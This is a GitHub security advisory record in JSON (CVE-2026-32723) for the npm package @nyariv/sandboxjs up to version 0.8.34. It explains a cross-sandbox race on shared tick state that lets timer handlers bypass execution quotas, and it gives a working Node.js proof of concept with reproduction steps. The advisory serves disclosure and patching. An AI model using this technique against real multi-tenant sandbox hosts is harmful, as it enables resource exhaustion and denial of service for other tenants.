{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.34"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:43:05Z",
    "nvd_published_at": "2026-03-18T22:16:24Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAssumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox\u0027s tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox\u0027s tick budget and bypass the original sandbox\u0027s execution quota/watchdog.\n\n**Impact:** execution quota bypass \u2192 CPU/resource abuse  \n\n---\n\n## Details\n\n- **Affected project:** SandboxJS (owner: nyariv)\n- **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`\n\n### Vulnerable code paths\n\n- **`/src/eval.ts`** \u2014 `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:\n  ```\n  createFunction(..., ticks || currentTicks.current, { ...context, ... })\n  ```\n  Relevant lines: 44, 53, 164, 167.\n\n- **`/src/evaluator.ts` / `/src/executor.ts`** \u2014 global ticks:\n  ```\n  export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };\n  ```\n  and\n  ```\n  _execNoneRecurse(...) { currentTicks.current = ticks; ... }\n  ```\n  Relevant lines: ~1700, 1712.\n\n- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox\u0027s ticks when compilation occurs.\n\n---\n\n## Why This Is Vulnerable\n\n- `currentTicks.current` is global mutable state shared across all sandbox instances.\n- Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer\u0027s code will be compiled/executed with the other sandbox\u0027s tick budget. This allows the original sandbox\u0027s execution quota to be bypassed.\n\n---\n\n## Proof of Concept\n\n\u003e Run with Node.js; adjust path if needed.\n\n```js\n// PoC (run with node); adjust path if needed\nimport Sandbox from \u0027/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js\u0027;\n\nconst globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };\nconst prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;\n\nconst sandboxA = new Sandbox({\n  globals,\n  prototypeWhitelist,\n  executionQuota: 50n,\n  haltOnSandboxError: true,\n});\nlet haltedA = false;\nsandboxA.subscribeHalt(() =\u003e { haltedA = true; });\n\nconst sandboxB = new Sandbox({ globals, prototypeWhitelist });\n\n// Sandbox A schedules a heavy string handler\nsandboxA.compile(\n  \u0027setTimeout(\"let x=0; for (let i=0;i\u003c200;i++){ x += i } globalThis.doneA = true;\", 0);\u0027\n)().run();\n\n// Run sandbox B before A\u0027s timer fires\nsandboxB.compile(\u00271+1\u0027)().run();\n\nsetTimeout(() =\u003e {\n  console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });\n}, 50);\n```\n\n### Reproduction Steps\n\n1. Place the PoC in `hi.js` and run:\n   ```\n   node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js\n   ```\n\n2. Observe output similar to:\n   ```\n   { haltedA: false, doneA: true }\n   ```\n   This indicates the heavy loop completed and the quota was bypassed.\n\n3. Remove the `sandboxB.compile(\u00271+1\u0027)().run();` line and rerun. Output should now be:\n   ```\n   { haltedA: true }\n   ```\n   This indicates quota enforcement is working correctly.\n\n---\n\n## Impact\n\n- **Type:** Runtime guard bypass (execution-quota / watchdog bypass)\n- **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process \u2014 multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.\n- **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.\n- **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.",
  "id": "GHSA-7p5m-xrh7-769r",
  "modified": "2026-03-19T21:11:10Z",
  "published": "2026-03-16T16:43:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7p5m-xrh7-769r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32723"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers"
}